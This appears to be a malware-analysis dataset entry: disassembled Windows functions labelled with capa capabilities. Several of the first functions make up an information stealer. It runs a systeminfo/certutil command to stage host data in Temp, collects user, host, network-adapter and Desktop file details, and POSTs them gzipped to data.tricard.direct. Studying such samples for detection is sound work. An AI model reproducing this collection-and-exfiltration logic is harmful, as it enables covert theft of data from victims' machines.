joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000202d
Capabilities:
Execute command
Get file size
Read file on windows

Disassembly:
push rbp
mov eax, 0x1f458
push rdi
push rsi
push rbx
call fcn.140016f40
sub rsp, rax
mov rbx, rcx
lea rcx, str.C:WindowsSysWOW64_systeminfo.exe__C:WindowsTemp_sys.txt__certutil__f__encodehex_C:WindowsTemp_sys.txt_C:WindowsTemp_sys.b64_0x40000001__nul
lea rbp, [rsp + 0x50]
call sub.msvcrt.dll_system
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov edx, 0x80000000
lea rcx, str.C:WindowsTemp_sys.b64
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor edx, edx
lea r9, [rsp + 0x4c]
mov rcx, rdi
mov r8d, eax
mov qword [rsp + 0x20], rdx
mov esi, eax
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rdx, str._Sysinfo_:__
mov rcx, rbx
call sub.msvcrt.dll_strcat
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov r9, rbp
lea r8, [0x1400d41ed]
movsxd rdx, esi
lea rcx, [rbx + rax]
call fcn.140021040
lea rdx, [0x1400d41f0]
mov rcx, rbx
call sub.msvcrt.dll_strcat
mov rcx, rbx
call sub.msvcrt.dll_strlen
add rsp, 0x1f458
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x1400020fc
Capabilities:
Get mac address on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x478
lea rdx, str.__NetworkInterfaces_:___n
mov rsi, rcx
call sub.msvcrt.dll_strcat
mov ecx, 0x2c0
mov dword [rsp + 0x6c], 0x2c0
call sub.msvcrt.dll_malloc
mov rbx, rax
mov rdi, rax
test rax, rax
je 0x140002168
lea rbp, [rsp + 0x6c]
mov rcx, rax
mov rdx, rbp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x1400021c6
mov rcx, rbx
call fcn.140020ca0
mov ecx, dword [rsp + 0x6c]
call sub.msvcrt.dll_malloc
mov rbx, rax
mov rdi, rax
test rax, rax
jne 0x140002194
mov rcx, qword [0x1400e10b0]
lea rdx, str.Error_allocating_memory_needed_to_call_GetAdaptersInfo
call fcn.1400c7b90
mov rcx, rax
call fcn.1400c5a70
nop
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rdx, rbp
mov rcx, rax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x1400021c6
mov rcx, qword [0x1400e10b0]
lea rdx, str.GetAdaptersInfo_failed
call fcn.1400c7b90
mov rcx, rax
call fcn.1400c5a70
mov rcx, rbx
jmp 0x140002299
mov rbx, rdi
lea rbp, [rsp + 0x70]
lea r13, str._____n_______AdapterName_:___s___n_______Description_:___s___n_______IpAddress_:___s___n_______MacAddress_:___02X:_02X:_02X:_02X:_02X:_02X__n
lea r12, str.______n
lea r9, [rbx + 0xc]
mov r8, r13
mov edx, 0x400
mov rcx, rbp
movzx eax, byte [rbx + 0x19d]
mov dword [rsp + 0x58], eax
movzx eax, byte [rbx + 0x19c]
mov dword [rsp + 0x50], eax
movzx eax, byte [rbx + 0x19b]
mov dword [rsp + 0x48], eax
movzx eax, byte [rbx + 0x19a]
mov dword [rsp + 0x40], eax
movzx eax, byte [rbx + 0x199]
mov dword [rsp + 0x38], eax
movzx eax, byte [rbx + 0x198]
mov dword [rsp + 0x30], eax
lea rax, [rbx + 0x1c0]
mov qword [rsp + 0x28], rax
lea rax, [rbx + 0x110]
mov qword [rsp + 0x20], rax
call fcn.140021040
mov rcx, rbp
call sub.msvcrt.dll_strlen
mov rdx, rbp
mov rcx, rsi
mov r8, rax
call fcn.140020d70
mov rbx, qword [rbx]
test rbx, rbx
je 0x140002278
mov rdx, r12
mov rcx, rsi
call sub.msvcrt.dll_strcat
jmp 0x1400021dc
lea rdx, [0x1400d42ed]
mov rcx, rsi
call sub.msvcrt.dll_strcat
mov rcx, rsi
lea rdx, str._____n
call sub.msvcrt.dll_strcat
mov rcx, rdi
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp fcn.140020ca0

Function at 0x1400022ad
Capabilities:
Get hostname
Get session user name

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x150
lea rbx, [rsp + 0x4f]
mov dword [rsp + 0x34], 0x101
mov rsi, rcx
lea rdx, [rsp + 0x34]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rcx, str.Failed_to_get_user_name
test eax, eax
je 0x140002306
lea rdi, [rsp + 0x3f]
mov dword [rsp + 0x38], 0x10
lea rdx, [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x140002312
lea rcx, str.Failed_to_get_computer_name
call fcn.1400016ea
mov eax, 1
jmp 0x140002349
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov edx, 0xbb8
mov rcx, rsi
lea r8, str._n___Username_:___s___n___MalOne_:__c3e1d2ea_1db1_4b64_9565_81c44d44d238___n___Computername_:___s_
call fcn.140021040
lea r8, [0x1400d438f]
mov edx, 7
mov ebx, eax
cdqe
lea rcx, [rsi + rax]
call fcn.140021040
add eax, ebx
add rsp, 0x150
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002f1b
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x208
lea rdx, str.C:WindowsTemp
lea rsi, [rsp + 0xb8]
mov rbx, rcx
mov rcx, rsi
call fcn.14000154a
lea rax, [rsp + 0xd8]
lea rdx, str._userprofile_Desktop
mov rcx, rax
mov qword [rsp + 0x28], rax
call fcn.14000154a
mov rcx, rbx
lea r14, [rsp + 0x38]
lea rdi, [rsp + 0x58]
mov r13, rsi
lea rdx, str._Files_:_
call sub.msvcrt.dll_strcat
jmp 0x140002f8c
mov rdx, r13
mov rcx, r14
call fcn.1400ab9a0
lea r15, [rsp + 0xfc]
mov rcx, qword [rsp + 0x38]
mov r8d, 0x104
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rdx, r15
mov rcx, rdi
call fcn.14000154a
lea rbp, [rsp + 0x98]
lea rdx, [0x1400d44c9]
mov rcx, rbp
call fcn.14000154a
lea r12, [rsp + 0x78]
lea rdx, [0x1400d40bd]
mov rcx, r12
call fcn.14000154a
mov r8, rbp
mov rdx, r12
mov rcx, rdi
call fcn.140001795
mov rcx, r12
call fcn.1400a8d40
mov rcx, rbp
call fcn.1400a8d40
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov rdx, qword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
lea r8, str.___s_:_
lea rcx, [rbx + rax]
add rdx, 9
call fcn.140021040
mov rdx, rbx
mov rcx, r15
call fcn.140002b8a
lea rdx, [0x1400d44d3]
mov rcx, rbx
add r13, 0x20
call sub.msvcrt.dll_strcat
mov rcx, rdi
call fcn.1400a8d40
mov rcx, r14
call fcn.1400a8d40
lea rax, [rsp + 0xf8]
cmp r13, rax
jne 0x140002f8c
mov rcx, rbx
call sub.msvcrt.dll_strlen
lea rdx, [0x1400d44d6]
mov rcx, rbx
mov byte [rbx + rax - 1], 0
call sub.msvcrt.dll_strcat
mov rcx, qword [rsp + 0x28]
call fcn.1400a8d40
mov rcx, rsi
call fcn.1400a8d40
nop
add rsp, 0x208
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140004196
Capabilities:
Initialize winhttp library
Prepare http request

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
xor r8d, r8d
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r8d
mov r12, rcx
xor r8d, r8d
lea rcx, str.Tricard_https:__github.com_therealunicornsecurity_tricard
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
test rax, rax
jne 0x1400041ec
mov rcx, qword [0x1400e10f0]
lea rdx, str.Failed_to_open_WinHTTP_session.
call fcn.1400c7e90
mov rcx, rax
call fcn.1400c5ae0
jmp 0x140004293
xor r9d, r9d
mov r8d, 0x1bb
lea rdx, str.data.tricard.direct
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbx, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test rax, rax
mov rdi, rax
jne 0x14000422c
lea rcx, str.Failed_to_connect_to_the_server
call fcn.1400016ea
mov rcx, rsi
call rbx
mov bl, 1
jmp 0x14000439b
xor ecx, ecx
mov dword [rsp + 0x30], 0x800000
xor r9d, r9d
lea r8, str._GetData
mov qword [rsp + 0x28], rcx
lea rdx, str.POST
mov qword [rsp + 0x20], rcx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbp, rax
test rax, rax
jne 0x14000429a
mov rcx, qword [0x1400e10f0]
lea rdx, str.Failed_to_open_WinHTTP_request.
call fcn.1400c7e90
mov rcx, rax
call fcn.1400c5ae0
lea rcx, str.httpoepnfail
call fcn.1400016ea
mov rcx, rsi
call rbx
mov rcx, rdi
call rbx
xor ebx, ebx
jmp 0x14000439b
mov rcx, r12
lea r13, [rsp + 0x48]
call sub.msvcrt.dll_strlen
mov rcx, r13
lea rdx, [rax + 0x400]
call fcn.140001622
mov r14, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, r12
sub rax, r14
mov dword [rsp + 0x44], eax
call sub.msvcrt.dll_strlen
lea rdx, [rsp + 0x44]
mov r8, r12
mov rcx, r14
mov r9d, eax
call fcn.1400044f0
test eax, eax
je 0x140004314
mov rcx, qword [0x1400e10b0]
lea rdx, str.Failed_to_compress_data.
call fcn.1400c7b90
mov rcx, rax
call fcn.1400c5a70
mov rcx, rbp
call rbx
mov rcx, rsi
call rbx
mov rcx, rdi
call rbx
xor ebx, ebx
jmp 0x14000437e
mov eax, dword [rsp + 0x44]
xor edx, edx
mov r9, r14
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov rcx, rbp
lea rdx, str.Content_Encoding:_gzip_r_nCookie:_malonec3e1d2ea_1db1_4b64_9565_81c44d44d238_r_n
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140004354
mov rcx, rbp
call rbx
mov rcx, rdi
call rbx
mov rcx, rsi
call rbx
mov bl, 1
jmp 0x14000437e
mov rcx, qword [0x1400e10f0]
lea rdx, str.Failed_to_send_request.
call fcn.1400c7e90
mov rcx, rax
call fcn.1400c5ae0
mov rcx, rbp
call rbx
mov rcx, rdi
call rbx
mov rcx, rsi
jmp 0x14000430e
mov rcx, r13
call fcn.140084090
jmp 0x14000439b
mov eax, ebx
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1400161a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140020680
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140020680
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140016210
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14010b0f4]
mov rbx, rcx
test esi, esi
jle 0x140016340
mov rax, qword [0x14010b0f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001625b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400162e5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140016240
mov rcx, rbx
call fcn.140016c60
mov rdi, rax
test rax, rax
je 0x140016362
mov rax, qword [0x14010b0f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140016da0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14010b0f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140016347
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400162de
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400162f0
add dword [0x14010b0f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14010b0f8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400162de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400161a0
nop dword [rax]
xor esi, esi
jmp 0x140016268
mov rax, qword [0x14010b0f8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400161a0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400161a0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400168d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14010b160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14010b140]
test rbx, rbx
je 0x14001692c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140016923
test rsi, rsi
je 0x140016923
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140016908
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140016c60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400e16a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140016c80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140016c88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140016c80
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140016cdd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140016cd4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140016c80
add rax, 0x28
cmp rax, r9
jne 0x140016cc0
xor eax, eax
ret

Function at 0x140016ce0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400e16a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140016cff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140016d08
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140016cff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140016da0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400e16a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140016dbf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140016dc8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140084260
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x1400842a8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14008427a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400cb060
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400d3020]
jmp 0x140017ab0

Function at 0x1400cb070
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400d3020]
jmp 0x140017ab0
Function at 0x140002724
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140056038]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x48]
call fcn.1400026bc
nop
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
movsxd rdx, eax
inc rdx
lea rcx, [rsp + 0x28]
call fcn.140001da4
nop
lea rcx, [rsp + 0x28]
call fcn.140001aec
mov r8, rax
lea rcx, [rsp + 0x28]
call fcn.140001adc
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x28]
call fcn.140001adc
mov rdx, rax
mov rcx, rdi
call fcn.1400020b4
nop
lea rcx, [rsp + 0x28]
call fcn.140001af8
nop
lea rcx, [rsp + 0x48]
call fcn.140002254
mov rax, rdi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140029070
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret

Function at 0x140008b58
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp dword [0x140058354], 2
mov edi, r8d
mov esi, edx
mov rbx, rcx
jl 0x140008b7d
call fcn.140007710
call fcn.1400091b0
xor r9d, r9d
mov rcx, qword [rbx + 0xf8]
lea rax, [0x14004c320]
mov eax, dword [r9 + rax]
mov dword [r9 + rcx], eax
add r9, 4
cmp r9, 0x20
jl 0x140008b85
mov rax, qword [rbx + 0xf8]
bts edi, 0xd
shl edi, 0x10
xor dword [rax], 0x2080020
mov rax, qword [rbx + 0xf8]
xor dword [rax + 8], esi
mov rax, qword [rbx + 0xf8]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor dword [rax + 0xc], edi
add rsp, 0x20
pop rdi
ret
Function at 0x14000a1a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x140059274], 0
jne 0x14000a19e
xor r8d, r8d
lea r9, [0x140059270]
mov r10d, r8d
mov r11d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
test cl, 1
cmovne r10d, eax
sub r11, 1
jne 0x14000a16c
mov dword [r9], r10d
inc r8d
add r9, 4
cmp r8d, 0x100
jb 0x14000a163
ret
jmp 0x14000a150

Function at 0x14000a1c0
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x14000a1e6
movzx r9d, byte [rdx]
inc rdx
movzx eax, cl
xor r9, rax
shr ecx, 8
lea rax, [0x140059270]
xor ecx, dword [rax + r9*4]
sub r8, 1
jne 0x14000a1c5
mov eax, ecx
ret
Function at 0x14000a858
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140056038]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rbx, qword [rbp + 0x190]
mov rax, r8
mov rdi, qword [rbp + 0x198]
mov r12, rdx
mov rsi, qword [rbp + 0x1a0]
mov r15, rcx
mov rdx, rax
lea rcx, [rbp + 0xb0]
mov r8d, 0x10
call fcn.14002b250
xor r14d, r14d
mov dword [rbp + 0xc0], 0x1000000
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], r14
lea r8, [rbp + 0xb0]
mov qword [rsp + 0x30], r14
mov rdx, r12
mov qword [rsp + 0x28], r14
lea r9d, [r14 + 0x14]
mov rcx, r15
mov qword [rsp + 0x20], rax
call fcn.14000a53c
lea r13d, [r14 + 0x20]
mov r8d, r13d
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x88]
call fcn.14002b250
mov eax, dword [rbp + 0x1a8]
dec eax
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], rsi
lea rdi, [rbp + 0x40]
mov byte [rsp + 0x51], r14b
lea rsi, [rbp + 0x50]
mov byte [rsp + 0x50], r14b
lea r14d, [r13 - 0x1d]
mov dword [rbp + 0x40], eax
mov dword [rbp + 0x44], 0x10
mov dword [rbp + 0x48], 0x10
mov qword [rbp + 0x50], rbx
cmp dword [rdi], 0
jbe 0x14000a9e2
mov ebx, dword [rdi]
lea rax, [rsp + 0x50]
mov r9, r13
mov qword [rsp + 0x40], rax
lea r8, [rbp + 0x68]
lea rax, [rsp + 0x60]
mov rdx, r12
mov qword [rsp + 0x38], rax
mov rcx, r15
lea rax, [rsp + 0x51]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
call fcn.14000a53c
mov r8, r13
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x68]
call fcn.14002b250
xor eax, eax
lea ecx, [rax + 2]
movdqu xmm0, xmmword [rbp + rax + 0x88]
movdqu xmm1, xmmword [rbp + rax + 0x68]
lea rax, [rax + 0x10]
pxor xmm1, xmm0
movdqu xmmword [rbp + rax + 0x78], xmm1
sub rcx, 1
jne 0x14000a9b5
sub rbx, 1
jne 0x14000a958
mov rcx, qword [rsi]
lea rdx, [rbp + 0x88]
mov r8, r13
call fcn.14002b250
add rdi, 4
add rsi, 8
sub r14, 1
jne 0x14000a94d
lea edx, [r14 + 0x44]
lea rcx, [rbp + 0xb0]
call fcn.140018488
lea rcx, [rbp + 0x88]
mov rdx, r13
call fcn.140018488
lea rcx, [rbp + 0x68]
call fcn.140018488
lea rcx, [rbp + 0x100]
call fcn.140018488
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140029070
mov rbx, qword [rsp + 0x288]
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000ad3c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x80
mov rax, qword [0x140056038]
xor rax, rsp
mov qword [rsp + 0x78], rax
cmp dword [rcx], 2
lea rbx, [rcx + 4]
mov rsi, rdx
mov rdi, rcx
mov r14d, 0x20
jne 0x14000addf
mov ecx, dword [rbx]
lea rdx, [rsp + 0x50]
call fcn.1400091a8
and qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
and qword [rsp + 0x38], 0
lea r9d, [r14 - 0x1c]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x50]
and qword [rsp + 0x28], 0
mov edx, r14d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.14000a53c
xor r9d, r9d
lea r10, [rsp + 0x58]
xor r8d, r8d
movzx edx, byte [r10]
mov ecx, r9d
and ecx, 3
inc r9d
shl ecx, 3
inc r10
shl edx, cl
xor edx, r8d
mov r8d, edx
cmp r9d, r14d
jb 0x14000adbd
mov dword [rbx], edx
cmp dword [rdi], 3
jne 0x14000ae27
and qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
and qword [rsp + 0x38], 0
mov r9, r14
and qword [rsp + 0x30], 0
mov r8, rbx
and qword [rsp + 0x28], 0
mov rdx, r14
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.14000a53c
mov r8, r14
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.14002b250
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140029070
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop r14
pop rdi
pop rsi
ret
Function at 0x1400109c0
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx + 0x14], 0
mov rbx, rcx
jne 0x1400109f7
cmp qword [rcx + 8], 0xffffffffffffffff
je 0x1400109e3
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [0x140043528]
cmp byte [rbx + 0x21], 0
je 0x1400109f7
lea rcx, [rbx + 0x40]
add rsp, 0x20
pop rbx
jmp fcn.1400119f0
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140010a00
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x140056038]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, r8
mov r15, rdx
mov rdi, rcx
test r8, r8
jne 0x140010a33
mov al, 1
jmp 0x140010b62
lea r14, [rcx + 8]
cmp dword [rcx + 0x14], 1
jne 0x140010a4b
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [r14], rax
mov r13d, 0x4000
xor bpl, bpl
and dword [rsp + 0x30], 0
cmp dword [rdi + 0x14], 0
je 0x140010aa6
xor ebx, ebx
test rsi, rsi
je 0x140010acf
mov rcx, rsi
sub rcx, rbx
mov eax, esi
sub eax, ebx
mov r8d, r13d
cmp rcx, r13
cmovb r8d, eax
lea rdx, [r15 + rbx]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne bpl
test eax, eax
je 0x140010ac6
add rbx, r13
cmp rbx, rsi
jb 0x140010a66
jmp 0x140010ac6
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, esi
mov rdx, r15
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne bpl
test bpl, bpl
jne 0x140010b5b
cmp byte [rdi + 0x22], 0
je 0x140010b5b
cmp dword [rdi + 0x14], 0
jne 0x140010b5b
lea rdx, [rdi + 0x40]
call fcn.14000b708
test al, al
je 0x140010b30
mov ecx, dword [rsp + 0x30]
cmp rcx, rsi
jae 0x140010a51
test ecx, ecx
je 0x140010a51
mov rbx, qword [rdi]
mov rcx, rdi
mov rax, qword [rbx + 0x28]
call qword [0x140043528]
mov rdx, rax
mov eax, dword [rsp + 0x30]
sub rdx, rax
xor r8d, r8d
mov rcx, rdi
mov rax, qword [rbx + 0x20]
call qword [0x140043528]
jmp 0x140010a51
lea rdx, [0x14004c2c0]
lea rcx, [rsp + 0x38]
call fcn.1400020b4
nop
lea r8, [rdi + 0x40]
lea rdx, [rsp + 0x38]
call fcn.14000b6e8
nop
lea rcx, [rsp + 0x38]
call fcn.140002254
mov byte [rdi + 0x10], 1
mov al, bpl
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140029070
add rsp, 0x60
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret